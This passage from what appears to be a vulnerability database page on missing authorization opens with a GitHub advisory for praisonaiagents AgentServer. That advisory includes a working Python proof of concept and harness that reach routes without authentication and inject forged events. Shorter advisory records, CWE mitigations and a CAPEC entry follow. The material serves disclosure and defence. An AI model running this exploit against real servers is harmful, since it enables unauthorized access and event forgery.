never reads auth_token, never adds an auth\nmiddleware, and never decorates any route with Depends(_verify_auth).\n\nThis PoC starts AgentServer with auth_token=\"supersecret\", then hits\nevery route without any Authorization header.  All requests succeed.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nfrom praisonaiagents.server import AgentServer, ServerConfig\n\nPORT = 18765\nAUTH_TOKEN = \"supersecret-not-actually-checked\"\n\ndef http_request(method, path, body=None, headers=None):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=5) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, f\"URLError: {e}\"\n\ndef main() -\u003e int:\n    print(\"=\" * 70)\n    print(f\"praisonaiagents version: 1.6.48\")\n    print(f\"Test: start AgentServer with auth_token={AUTH_TOKEN!r}\")\n    print(f\"      then send UNAUTHENTICATED requests to every route.\")\n    print(\"=\" * 70)\n\n    config = ServerConfig(host=\"127.0.0.1\", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])\n    server = AgentServer(config=config)\n    server.start(blocking=False)\n    time.sleep(1.0)  # wait for uvicorn to be ready\n\n    findings = []\n\n    code, body = http_request(\"GET\", \"/info\")\n    info_data = None\n    try:\n        info_data = json.loads(body)\n    except Exception:\n        pass\n    print(f\"\\n[1] GET /info (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200 and info_data and info_data.get(\"config\", {}).get(\"auth_token\") == \"***\":\n        findings.append(\"/info: unauthenticated; leaks that auth_token IS configured\")\n\n    payload = {\"type\": \"attacker_injected_event\",\n               \"data\": {\"forged_from\": \"unauthenticated_client\", \"instruction\": \"shutdown_now\"}}\n    code, body = http_request(\"POST\", \"/publish\", body=payload)\n    print(f\"\\n[2] POST /publish (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200:\n        try:\n            ok = json.loads(body).get(\"success\") is True\n        except Exception:\n            ok = False\n        if ok:\n            findings.append(\"/publish: unauthenticated event broadcast to all SSE clients\")\n\n    code, body = http_request(\"GET\", \"/health\")\n    print(f\"\\n[3] GET /health (no Authorization header) -\u003e HTTP {code} body={body[:120]}\")\n    if code == 200:\n        findings.append(\"/health: unauthenticated; leaks live client count\")\n\n    sse_status = []\n    def sse_reader():\n        try:\n            req = Request(f\"http://127.0.0.1:{PORT}/events\", method=\"GET\")\n            with urlopen(req, timeout=3) as resp:\n                sse_status.append(f\"HTTP {resp.status}\")\n                try:\n                    chunk = resp.read(64)\n                    sse_status.append(f\"first-chunk-bytes={len(chunk)}\")\n                except Exception as e:\n                    sse_status.append(f\"chunk-read: {e}\")\n        except Exception as exc:\n            sse_status.append(f\"ERR: {exc}\")\n    t = threading.Thread(target=sse_reader, daemon=True)\n    t.start()\n    time.sleep(2.0)\n    print(f\"\\n[4] GET /events (no Authorization header) -\u003e {sse_status}\")\n    if sse_status and sse_status[0] == \"HTTP 200\":\n        findings.append(\"/events: unauthenticated SSE subscription accepted\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if findings:\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai-agents\"); sys.path.insert(0,BK)\nfor p in [\"praisonaiagents\",\"praisonaiagents.server\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nlg=types.ModuleType(\"praisonaiagents._logging\"); lg.get_logger=lambda *a,**k: __import__(\"logging\").getLogger(\"x\"); sys.modules[\"praisonaiagents._logging\"]=lg\nspec=importlib.util.spec_from_file_location(\"praisonaiagents.server.server\", BK+\"/praisonaiagents/server/server.py\")\nsrvmod=importlib.util.module_from_spec(spec); srvmod.__package__=\"praisonaiagents.server\"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)\n\nfrom starlette.testclient import TestClient\n# Operator DOES configure an auth_token, expecting it to protect the server:\ncfg = srvmod.ServerConfig(host=\"127.0.0.1\", port=8765, auth_token=\"super-secret-operator-token\")\nsrv = srvmod.AgentServer(config=cfg)            # REAL AgentServer\napp = srv._create_app()                        # REAL Starlette app + routes\nclient = TestClient(app)\n\nprint(\"[*] auth_token configured on server:\", repr(cfg.auth_token))\nr_info = client.get(\"/info\")\nprint(f\"[+] GET /info  (no auth) -\u003e HTTP {r_info.status_code}; config disclosed: {r_info.json().get(\u0027config\u0027)}\")\nr_pub = client.post(\"/publish\", json={\"type\":\"admin_event\",\"data\":{\"x\":\"injected-by-attacker\"}})\nprint(f\"[+] POST /publish (no auth) -\u003e HTTP {r_pub.status_code}; body: {r_pub.json()}\")\n\nassert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get(\"success\") is True\nprint(\"[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] auth_token configured on server: \u0027super-secret-operator-token\u0027\n[+] GET /info  (no auth) -\u003e HTTP 200; config disclosed: {\u0027host\u0027: \u0027127.0.0.1\u0027, \u0027port\u0027: 8765, \u0027cors_origins\u0027: [], \u0027auth_token\u0027: \u0027***\u0027, \u0027max_connections\u0027: 100}\n[+] POST /publish (no auth) -\u003e HTTP 200; body: {\u0027success\u0027: True, \u0027clients\u0027: 0}\n[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-7g3p-92qq-8wvh",
  "modified": "2026-08-25T14:31:52Z",
  "published": "2026-08-25T14:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents: AgentServer declares auth_token but never enforces it on any route"
}

GHSA-7G53-7WHP-2HM3

Vulnerability from github – Published: 2023-04-05 21:30 – Updated: 2023-04-12 18:30
VLAI
Details

Improper authorization in Gitlab EE affecting all versions from 12.3.0 before 15.8.5, all versions starting from 15.9 before 15.9.4, all versions starting from 15.10 before 15.10.1 allows an unauthorized access to security reports in MR.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-05T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper authorization in Gitlab EE affecting all versions from 12.3.0 before 15.8.5, all versions starting from 15.9 before 15.9.4, all versions starting from 15.10 before 15.10.1 allows an unauthorized access to security reports in MR.",
  "id": "GHSA-7g53-7whp-2hm3",
  "modified": "2023-04-12T18:30:37Z",
  "published": "2023-04-05T21:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1167"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-1167.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/392715"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G5P-G62Q-6H28

Vulnerability from github – Published: 2026-10-13 00:31 – Updated: 2026-10-13 00:31
VLAI
Details

Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-109661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-12T23:17:33Z",
    "severity": "HIGH"
  },
  "details": "Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.",
  "id": "GHSA-7g5p-g62q-6h28",
  "modified": "2026-10-13T00:31:37Z",
  "published": "2026-10-13T00:31:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext/security/advisories/GHSA-j2h8-8xqj-jrg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109661"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/frappe-erpnext-before-15.116.0-missing-authorization-exposes-financial-data"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7G6P-C3G9-82PV

Vulnerability from github – Published: 2024-11-01 15:32 – Updated: 2024-11-01 15:32
VLAI
Details

Missing Authorization vulnerability in CozyThemes Fota WP allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fota WP: from n/a through 1.4.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-01T15:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in CozyThemes Fota WP allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fota WP: from n/a through 1.4.1.",
  "id": "GHSA-7g6p-c3g9-82pv",
  "modified": "2024-11-01T15:32:00Z",
  "published": "2024-11-01T15:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43980"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/fotawp/wordpress-fotawp-theme-1-4-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G74-92VJ-5WJH

Vulnerability from github – Published: 2026-09-02 12:31 – Updated: 2026-09-02 12:31
VLAI
Details

Unauthenticated Broken Access Control in WP Event SOlution <= 4.1.22 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-82223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T12:17:13Z",
    "severity": "MODERATE"
  },
  "details": "Unauthenticated Broken Access Control in WP Event SOlution \u003c= 4.1.22 versions.",
  "id": "GHSA-7g74-92vj-5wjh",
  "modified": "2026-09-02T12:31:30Z",
  "published": "2026-09-02T12:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82223"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-event-solution/vulnerability/wordpress-wp-event-solution-plugin-4-1-22-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G75-5PMJ-3V8P

Vulnerability from github – Published: 2026-08-03 09:32 – Updated: 2026-08-03 18:30
VLAI
Details

The Simple Membership WordPress plugin before 4.7.8 does not verify whether user creation failed during registration before using the returned value as a user ID to update an account, allowing unauthenticated attackers to overwrite the primary administrator's account data (including the email address) and take over that account through the password reset flow.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T07:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "The Simple Membership WordPress plugin before 4.7.8 does not verify whether user creation failed during registration before using the returned value as a user ID to update an account, allowing unauthenticated attackers to overwrite the primary administrator\u0027s account data (including the email address) and take over that account through the password reset flow.",
  "id": "GHSA-7g75-5pmj-3v8p",
  "modified": "2026-08-03T18:30:42Z",
  "published": "2026-08-03T09:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15930"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/e46948f1-0e06-4e76-8fc8-df661eb786a5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G93-JCFW-XJP3

Vulnerability from github – Published: 2025-11-25 09:31 – Updated: 2025-11-25 09:31
VLAI
Details

The Chamber Dashboard Business Directory plugin for WordPress is vulnerable to unauthorized data export due to a missing capability check on the cdash_watch_for_export() function in all versions up to, and including, 3.3.11. This makes it possible for unauthenticated attackers to export business directory information, including sensitive business details.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T08:15:51Z",
    "severity": "MODERATE"
  },
  "details": "The Chamber Dashboard Business Directory plugin for WordPress is vulnerable to unauthorized data export due to a missing capability check on the cdash_watch_for_export() function in all versions up to, and including, 3.3.11. This makes it possible for unauthenticated attackers to export business directory information, including sensitive business details.",
  "id": "GHSA-7g93-jcfw-xjp3",
  "modified": "2025-11-25T09:31:24Z",
  "published": "2025-11-25T09:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13414"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chamber-dashboard-business-directory/tags/3.3.11/options.php#L850"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chamber-dashboard-business-directory/trunk/options.php#L850"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1896885a-a104-464a-bb57-2c3c73ff9415?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G9C-V6GJ-CHQC

Vulnerability from github – Published: 2024-01-10 12:30 – Updated: 2024-01-16 21:31
VLAI
Details

The vulnerability allows an unauthenticated remote attacker to read arbitrary files under the context of the application OS user (“root”) via a crafted HTTP request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-48247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-10T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The vulnerability allows an unauthenticated remote attacker to read arbitrary files under the context of the application OS user (\u201croot\u201d) via a crafted HTTP request.",
  "id": "GHSA-7g9c-v6gj-chqc",
  "modified": "2024-01-16T21:31:21Z",
  "published": "2024-01-10T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48247"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-711465.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.